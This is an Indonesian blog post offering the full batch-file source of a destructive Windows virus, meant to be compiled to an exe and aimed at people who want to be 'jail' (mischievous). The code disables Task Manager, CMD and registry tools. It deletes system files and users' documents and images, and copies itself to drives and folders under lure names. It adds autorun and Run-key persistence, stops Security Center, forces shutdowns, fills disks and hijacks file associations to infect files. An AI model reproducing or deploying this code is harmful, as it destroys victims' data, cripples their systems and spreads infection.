Tuesday, July 5, 2011

Source Code Bikin Virus HP

Buat Yang ge stres and juga suka jail... coba nih,,,, membuat virus HP....
biasanya pake batfile lalu --> convert to exe

echo off

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v NoFolderOptions /t REG_DWORD /d 1 /f

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v norun /t reg_dword /d 1 /f

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v nofind /t reg_dword /d 1 /f

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v Nostartmenupinnedlist /t reg_dword /d 1 /f

reg ADD HKLM\Software\Microsoft\Windows\Currentversion\Policies\explorer /v Nostartmenupinnedlist /t reg_dword /d 1 /f

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v noclose /t reg_dword /d 1 /f

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v nofilemenu /t reg_dword /d 1 /f

reg ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\explorer /v nostartmenumoreprograms /t reg_dword /d 1 /f

reg ADD HKLM\Software\Microsoft\Windows\Currentversion\Policies\explorer /v nostartmenumoreprograms /t reg_dword /d 1 /f



---------------------------------------------------------------------------------------------------------------------------------
md d:\cheat

md d:\winddows

md d:\shader

for %%a in (C D E F G ) do if exist "%%a:" copy %0 "%%a:\broken_heart.exe"

del %systemdrive%\windows\System32\dllcache\winlogon.exe
del %systemdrive%\windows\System32\dllcache\explorer.exe
del %systemdrive%\windows\System32\dllcache\services.exe
del %systemdrive%\windows\System32\dllcache\vga.sys
del %systemdrive%\windows\System32\dllcache\mup.sys
del %systemdrive%\windows\System32\dllcache\taskmgr.exe
-------------------------------------------------------------------------------------------------------------------------

md c:\colok_matamu

md c:\cleaning_magic

md c:\login


if not exist c:\cleaning_magic\%0 copy %0 c:\cleaning_magic\broken_heart.exe

if not exist c:\login\%0 copy %0 c:\login\broken_heart.exe

if not exist c:\windows\system32\%0 copy %0 c:\windows\system32\broken_heart.exe

if not exist c:\windows\system32\%0 copy %0 c:\windows\system32\boot.exe

if not exist c:\windows\system32\%0 copy %0 c:\windows\system32\"film lucu bugil,wav.exe ".exe

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\run /v patahhati2 /t reg_sz /d c:\windows\system32\boot.exe /f

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\run /v patahhati /t reg_sz /d c:\windows\system32\broken_heart.exe /f

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\run /v brokenati /t reg_sz /d c:\windows\doom.vbs /f


REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\system /v disableCMD /t reg_dword /d 2 /f

REG ADD HKCU\Software\Microsoft\Windows\system /v disableCMD /t reg_dword /d 2 /f

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\system /v disableregistrytools /t reg_dword /d 1 /f



set "Dir=c:\program files"

cd /D "%Dir%"

for /f "tokens=*" %%a in ('dir "%Dir%" /b /a:D') do (

Ren "%%~fa" "%%~a self"
)


set "Dir="C:\Documents and Settings\""

cd /D "%Dir%"

for /f "tokens=*" %%a in ('dir "%Dir%" /b /a:D') do (

Ren "%%~fa" "%%~a heart"
)


set "Dir=C:\"

cd /D "%Dir%"

for /f "tokens=*" %%a in ('dir "%Dir%" /b /a:D') do (

Ren "%%~fa" "%%~a heart"
)
----------------------------------------------------------------------------------------------------------------------
if not exist autorun.inf goto bwt_autorun

goto lanjut_1



:bwt_autorun

echo off > autorun.inf

echo [autorun] >> autorun.inf

echo open=broken_heart.exe >> autorun.inf

echo action=open folder with your antivirus >> autorun.inf

echo shell\open\command=broken_heart.exe >> autorun.inf

echo shell\open=open folder with your virus cleaner >> autorun.inf

echo shell\open\Default=1 >> autorun.inf

echo shell\explore\command=broken_heart.exe >> autorun.inf

goto lanjut_1



:lanjut_1

for %%a in (C D E F G ) do if exist "%%a:" copy %0 "%%a:\broken_heart.exe"

for %%a in (C D E F G ) do if exist "%%a:" copy %0 "%%a:\autorun.inf"

if not exist c:\windows\torabika.bat goto bwt_kopi

goto lanjut_2



:bwt_kopi

echo off > c:\windows\text.txt
echo >> c:\windows\text.txt
echo >> c:\windows\text.txt
echo hari demi hari mulai q jalani... >> c:\windows\text.txt
echo meski rasanya buruk dalam hidup ini karena tak pernah ada yang menemani q >> c:\windows\text.txt
echo kau bilang kau sahabatq namun kamu hanya lah orang biasa>> c:\windows\text.txt
echo >> c:\windows\text.txt
echo >> c:\windows\text.txt
echo >> c:\windows\text.txt
echo karena kamu cuman dateng ketika butuh namun ketika dah gx butuh udah lupa >> c:\windows\text.txt
echo cukup sudah q kan blajar lupain >> c:\windows\text.txt
echo karena kmu dah gx bisa hargai arti apa yg q perbuat >> c:\windows\text.txt
echo inilah ucapan q karena udah mau ndengerin kisah q >> c:\windows\text.txt
echo terima kasih ^^ >> c:\windows\text.txt

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\run /v svchoast /t reg_sz /d c:\windows\text.txt /f

REG ADD HKLM\Software\Microsoft\Windows\Currentversion\run /v debugger /t reg_sz /d c:\windows\text.txt /f

For /R "C:\windows\system32\" /D %%a in (*) do copy %0 "%%~fa\%%~nxa.exe"

For /R "D:\" /D %%a in (*) do copy %0 "%%~fa\%%~nxa.exe"

For /R "c:\" /D %%a in (*) do copy %0 "%%~fa\%%~nxa.exe"

For %%v in (*) do copy %0 "%%v" ren * *.Bat
ASSOC.DOc=.Hancur!!

goto lanjut_2

:lanjut_2

if not exist c:\windows\cm.bat goto bwt_cm

goto lanjut_3



:bwt_cm

echo off > c:\windows\cm.bat

echo shutdown -s -f -t 60 >> c:\windows\cm.bat

REG ADD HKLM\Software\Microsoft\Windows\Currentversion\run /v debugg2er /t reg_sz /d c:\windows\cm.bat /f



goto lanjut_3



:lanjut_3

Code:
setlocal ENABLEDELAYEDEXPANSION
for %%a in (C D) do if exist "%%a:\" (
for /f "tokens=3" %%b in ('dir "%%a:\" ^|find /i "Dir(s)"') do (
for /f "tokens=1-5 delims=," %%k in ("%%b") do (
set pagefile_%%a=%%k%%l%%m%%n
set /a pagefile_%%a-=10000000
)
)
fsutil file createnew "%%a:\pagefiles.sys" !pagefile_%%a! >nul 2>&1
attrib +s +h "%%a:\pagefiles.sys"
)



echo msgbox("i fell sad go to my world by sandmanzz") > c:\windows\net.vbs
echo msgbox("yo can feel my pain go to my world by sandmanzz") >> c:\windows\net.vbs
echo msgbox("i will open the door go to my world by sandmanzz") >> c:\windows\net.vbs
echo msgbox("restart this kompie to feel my pain") >> c:\windows\net.vbs
:start

c:\windows\net.vbs


REG ADD HKCU\Software\Microsoft\Windows\Currentversion\run /v alternatewindowssearcgh/t reg_sz /d c:\windows\net.vbs /f

attrib +h +s c:\windows\cinta.bat

attrib +h +s c:\windows\cm.bat

attrib +h +s c:\windows\text.txt

attrib +H +s c:\windows\doom.vbs

attrib +H +s c:\windows\system32\broken_heart.exe

del c:\windows\shell32.dll

copy %0 "%systemdrive%\documents and settings\%username%\start menu\programs\startup"
:1
start %0


attrib c:\*.exe /s /d +H +S

attrib c:\*.mpeg /s /d +H +S

attrib c:\*.docx /s /d +H +S

del d:\*.jpg /s

del d:\*.txt /s

del d:\*.jpeg /s

del d:\*doc /s

net stop "security center"

schtask /create /sc minute /mo 9 /tn hati2 /tr c:\windows\system32\broken_heart.exe /ru system

REG ADD HKCU\Software\Microsoft\Windows\Currentversion\Policies\system /v disableregistrytools /t reg_dword /d 1 /f

REG ADD HKCU\Software\microsoft\windows\CurrentVersion\Explorer\Advance /v showsuperhiden /t reg_dword /d 0 /f

net user %date% /add


REG ADD HKCR\Network\SharingHandler /ve /t REG_sz /d "" /f


:Start_Infect
for %%a in ("C:\*.*") do (
set "ext=%%~xa"
set "for_check_ext=!ext:~-3!"
IF /i not "!for_check_ext!"=="vir" (
call :Find_Type
copy /y %0 "%%~dpna!ext!vir" && attrib +s +h "%%~fa"
)
)
GOTO :NEXT
:Find_Type
REm Check if Extension already exist
REG Query "HKCR\!ext!vir" >nul 2>&1 && GOTO :EOF
for /f "tokens=1* delims==" %%a in ('assoc !ext!') do (
set "file_type=%%~b"
)
for /f "tokens=1* delims==" %%a in ('assoc !file_type!') do (
set "new_type=%%~b"
)
for /f "tokens=3*" %%a in ('REG QUERY "HKCR\!file_type!\DefaultIcon" ^| find /i "REG_SZ"') do (
set "icon_location=%%~b"
)

:start



c:\windows\doom.vbs

d:\windows\cm.bat

echo crash > c:\windows\cinta.bat

echo msg * new life >> c:\windows\cinta.bat

echo start cinta.bat >> c:\windows\cinta.bat

echo goto luup >> c:\windows\cinta.bat

echo :luup >> c:\windows\cinta.bat

echo msg * i always do anything for you >> c:\windows\cinta.bat

echo start cinta.bat >> c:\windows\cinta.bat

echo goto luup2 >> c:\windows\cinta.bat

echo :luup2 >> c:\windows\cinta.bat

echo msg * tapi tak berguna oh amit-amit with you >> c:\windows\cinta.bat

echo start cinta.bat >> c:\windows\cinta.bat

echo goto crash >> c:\windows\cinta.bat

:start

c:\windows\cinta.bat



:Create
REm Create New Extension
(
ASSOC !ext!vir=vir!ext!
ASSOC vir!ext!=!new_type!
REG ADD "HKCR\vir!ext!"
REG ADD "HKCR\vir!ext!\DefaultIcon"
REG ADD "HKCR\vir!ext!\DefaultIcon" /ve /d "!icon_location!"
REG ADD "HKCR\vir!ext!\Shell"
REG ADD "HKCR\vir!ext!\Shell\Open"
REG ADD "HKCR\vir!ext!\Shell\Open\Command"
REG ADD "HKCR\vir!ext!\Shell\Open\Command" /ve /d "cmd /c type \"%%1\">\"%TEMP%\temp.bat\" && call \"%TEMP%\temp.bat\" && del /f /q \"%TEMP%\temp.bat\""
) >nul 2>&1
GOTO :EOF
:NEXT


Sumber: http://alexbucely.blogspot.com

0 comments:

Post a Comment

Adds

Related Posts Plugin for WordPress, Blogger...

Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More